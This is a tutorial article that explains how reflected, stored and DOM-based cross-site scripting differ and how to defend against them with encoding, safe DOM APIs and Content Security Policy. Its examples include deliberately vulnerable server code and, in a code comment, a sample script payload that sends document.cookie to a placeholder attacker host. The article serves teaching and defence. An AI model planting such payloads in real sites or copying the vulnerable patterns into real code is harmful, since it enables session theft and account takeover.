Cross-Site Scripting (XSS)
How to Differentiate Stored, Reflected, and DOM-based XSS
Learn the specific triggers and execution environments for Reflected, Stored, and DOM-based vulnerabilities to build targeted defenses for each attack vector.
In this article
The Core Mechanics of Cross-Site Scripting
Cross-Site Scripting represents a fundamental breakdown in the trust relationship between a web browser and a web server. At its core, the vulnerability arises when an application includes untrusted data in a web page without proper validation or encoding. The browser, unable to distinguish between legitimate application scripts and malicious code, executes the injected payload as part of the trusted origin.
To understand why this happens, we must look at the Same-Origin Policy which serves as the cornerstone of web security. This policy is designed to prevent a script on one site from accessing sensitive data on another site. However, when an attacker successfully performs an XSS attack, they are not bypassing this policy from the outside; rather, they are tricking the browser into believing the attack script is a legitimate part of the trusted site itself.
The browser is a blank canvas that follows instructions from the server implicitly. If the server tells it to run a script, it will do so with the full permissions of the current user session.
The impact of these vulnerabilities ranges from minor UI annoyances to complete account takeovers. By executing JavaScript in the context of a user session, an attacker can steal session cookies, capture keystrokes, or perform unauthorized actions like changing passwords. This makes XSS one of the most pervasive and dangerous classes of web vulnerabilities in modern software engineering.
The Trust Boundary Problem
Every web application manages a flow of data between the user, the server, and the database. A trust boundary exists wherever data enters the system from an external, untrusted source such as a URL parameter, a form field, or an HTTP header. If the application fails to treat this data as hostile before rendering it back to the screen, the trust boundary is compromised.
Modern web development has moved toward complex client-side rendering, but the underlying problem remains the same. Developers often assume that certain data sources are safe because they come from internal databases or authenticated users. In reality, any data that can be influenced by a user must be treated as untrusted until it is properly handled for the specific output context.
The Execution Environment
When a script executes in the browser, it has access to the Document Object Model of the page. This allows the script to read and modify anything the user sees or interacts with. It can also access the local storage and cookies associated with that domain, provided they are not protected by specific security flags.
The execution context is critical because it determines what an attacker can achieve. A script running on a login page can capture credentials in real-time. A script running on a banking dashboard can initiate transfers while the user is active, making the attack incredibly difficult to detect through traditional server-side logs alone.
Reflected XSS: Exploiting the Request-Response Cycle
Reflected XSS is the most common variety of the vulnerability, occurring when an application takes data from an HTTP request and reflects it back into the immediate response. This typically happens via URL query parameters or form submissions that are displayed back to the user in a search result or error message. The attack is non-persistent, meaning the payload must be delivered to the victim via a link or a specially crafted third-party site.
Consider a search functionality that displays the user's search term on the results page. If the application does not escape the search term, an attacker can construct a URL that includes a script tag as the query value. When a victim clicks this link, the server generates a page containing the script, and the victim's browser executes it immediately within the context of the trusted site.
1// This route is vulnerable because it sends raw user input back to the browser
2app.get('/search', (req, res) => {
3 const searchTerm = req.query.query;
4
5 // The application directly interpolates the query into the HTML template
6 // without any sanitization or encoding.
7 res.send(`<html><body><h1>Search Results for: ${searchTerm}</h1></body></html>`);
8});The primary defense against reflected attacks is robust output encoding. By converting special characters into their HTML entity equivalents, the browser treats the data as literal text rather than executable code. For example, a less-than symbol is converted to the string amp-lt-semicolon, which displays correctly to the user but does not trigger the browser's HTML parser.
Anatomy of a Reflected Attack
A reflected attack begins with social engineering, as the attacker must convince the victim to click a malicious link. This link points to the vulnerable web application but contains the payload in one of the parameters. The simplicity of this delivery method makes it a favorite for phishing campaigns targeting specific administrative users.
Once clicked, the request travels to the server, which processes the input. The server generates a response where the malicious script is embedded in the HTML body or an attribute. The browser receives this response and begins parsing the HTML. When the parser encounters the script tag, it halts rendering to execute the code, completing the attack.
Common Entry Points in Modern APIs
While search bars are classic examples, reflected XSS often hides in more subtle locations. Error messages that repeat back invalid input are frequent culprits, as are confirmation pages after a form submission. Even HTTP headers like the Referer or User-Agent can be reflected in administrative dashboards, leading to vulnerabilities if those dashboards are not properly secured.
In modern Single Page Applications, reflected XSS can occur during the initial page load if the server-side rendering logic includes state data from the URL. Developers must ensure that any state hydration process properly handles data before injecting it into the global window object or the initial HTML document.
Stored XSS: The Danger of Persistent Payloads
Stored XSS, also known as Persistent XSS, is significantly more dangerous than the reflected variety because the malicious script is saved directly on the application's server. This typically happens in databases, file systems, or cache layers. When a victim visits the affected page, the payload is served to them automatically without the need for a specially crafted link.
Common targets for stored XSS include user profiles, comment sections, message boards, and support ticket systems. In these scenarios, one user provides content that is later viewed by many other users. If the application fails to sanitize the input before storage or encode it before display, every visitor to that page becomes a potential victim of the attack.
1// A vulnerable function that saves a user bio without validation
2async function updateProfile(userId, bioContent) {
3 // Input 'bioContent' might contain <script>fetch('https://attacker.com/log?c=' + document.cookie)</script>
4 await db.query("UPDATE users SET bio = ? WHERE id = ?", [bioContent, userId]);
5
6 // When another user views this profile, the server fetches the raw bio
7 // and inserts it directly into the page, triggering the script.
8}The risk of Stored XSS is amplified by its ability to spread autonomously. An attacker could write a script that, when executed by a user, posts a copy of itself to the user's own profile or sends messages to their contact list. This creates a worm-like effect that can quickly compromise an entire user base within a matter of hours.
The Persistence Problem
The persistence of the payload means that the attacker does not need to target specific users individually. Instead, they can poison a high-traffic page and wait for victims to arrive. This makes detection more difficult for users, as they are visiting a legitimate URL that they likely use every day without any suspicious parameters in the link.
Detecting stored XSS requires scanning the database for malicious patterns, but attackers often use obfuscation to bypass simple keyword filters. A common technique involves using character encoding or split payloads that only become dangerous once they are reassembled by the browser's DOM parser.
Indirect Stored XSS via Internal Tools
A frequently overlooked vector is the administrative dashboard. An attacker might submit a malicious payload through a public-facing contact form. While the public site might be secure, the internal tool used by employees to view these messages might be vulnerable. When an admin views the message, the script executes with elevated privileges, potentially allowing the attacker to access backend configurations.
This highlights the importance of applying consistent security standards across all parts of an organization. Internal tools are often built with less security scrutiny than public sites, but they represent a high-value target for attackers looking to gain deep access to an application's infrastructure.
DOM-based XSS: Vulnerabilities in the Client Runtime
DOM-based XSS is a modern evolution of the attack that occurs entirely within the client-side code. Unlike Reflected and Stored XSS, the malicious payload never necessarily reaches the server. Instead, the vulnerability exists in the way the application's JavaScript handles data from the environment, such as the URL fragment or the local storage.
In a DOM-based attack, the application reads data from a source and passes it to a sink that can execute code. A source is any property that can be controlled by a user, like window.location.hash. A sink is an API or function that can execute or render data, such as the innerHTML property of an element or the eval function. If the data flow between the source and the sink is not sanitized, an attack is possible.
- Source: The entry point for untrusted data, such as document.referrer or window.name.
- Sink: The execution point where the data is used, such as document.write or jQuery's append method.
- Data Flow: The path the data takes from the source to the sink, including any transformations or lack thereof.
Because the payload is often contained in the URL fragment (the part after the hash symbol), it is never sent to the server. This means that server-side web application firewalls and logs are completely blind to these attacks. Developers must rely on client-side security practices and static analysis tools to identify and mitigate DOM-based vulnerabilities.
Identifying Sources and Sinks
To secure an application against DOM XSS, you must audit all JavaScript code for dangerous sinks. Using properties like innerHTML is inherently risky because it instructs the browser to parse the assigned string as HTML. If the string contains a script tag, the browser will execute it. Safer alternatives like textContent or innerText should be used whenever you are dealing with plain text.
Modern frameworks like React and Angular provide built-in protections by automatically encoding data rendered in templates. However, developers can still introduce vulnerabilities by using escape hatches like dangerouslySetInnerHTML in React. These features bypass the framework's security and should be used with extreme caution and only after manual sanitization.
The Fragment Identifier Loophole
The fragment identifier is a powerful tool for client-side routing, but its unique property of staying local to the browser makes it a prime target for XSS. An attacker can craft a URL where the hash contains a malicious payload. When the JavaScript router reads this hash to determine which component to display, it may inadvertently execute the payload if it uses the hash directly in a sink.
Testing for DOM-based XSS requires interacting with the page in a real browser environment. Automated scanners that only look at static HTML responses will fail to find these bugs because the vulnerability only manifests once the client-side JavaScript has finished loading and executing in the browser.
Engineering the Defense: Multi-layered Protection
Defending against XSS requires a defense-in-depth strategy that combines multiple layers of protection. No single technique is foolproof, especially as web applications become more complex and dynamic. The first and most critical layer is contextual output encoding, which ensures that data is safely rendered based on where it appears in the HTML document.
For example, encoding data for an HTML attribute requires different rules than encoding data for a script block. In an attribute context, quotes must be escaped to prevent an attacker from breaking out of the attribute and adding new event handlers like onmouseover. Using a well-tested library for encoding is always preferable to writing custom regular expressions, which often miss edge cases.
1// Using textContent instead of innerHTML to prevent DOM XSS
2const userDisplay = document.getElementById('user-name');
3const untrustedData = getUrlParam('name'); // Assume this comes from the URL
4
5// Safe: textContent treats the input as literal text
6userDisplay.textContent = untrustedData;
7
8// Unsafe: innerHTML would execute any script tags in untrustedData
9// userDisplay.innerHTML = untrustedData;The second layer of defense is a strong Content Security Policy. This is an HTTP response header that allows site administrators to declare which dynamic resources are allowed to load. By restricting script sources to trusted domains and disallowing inline scripts, you can mitigate the impact of an XSS vulnerability even if an attacker finds a way to inject a payload.
Context-Aware Encoding
Context-aware encoding means understanding that a single piece of data might be used in multiple ways. If you are placing a user-provided string inside a JavaScript variable within an inline script block, HTML entity encoding is not enough. You must use JavaScript string escaping to ensure the data cannot terminate the string and start new commands.
Modern template engines often handle this automatically, but they must be configured correctly. Developers should verify that their chosen engine defaults to secure escaping and understand how to properly handle data that genuinely needs to contain HTML, such as formatted blog posts, by using a robust sanitization library like DOMPurify.
Content Security Policy as a Safety Net
A well-configured CSP acts as a final line of defense. By using the script-src directive, you can specify a whitelist of trusted sources for JavaScript. If an attacker manages to inject a script tag pointing to a malicious server, the browser will refuse to load it because the domain is not in the whitelist. This significantly raises the bar for a successful exploit.
Implementing CSP can be challenging for legacy applications that rely on inline scripts or eval. However, modern features like nonces and hashes allow you to authorize specific inline scripts without opening the door to all injected code. Transitioning to a strict CSP is one of the most effective steps a team can take to harden their web application against the entire spectrum of XSS attacks.
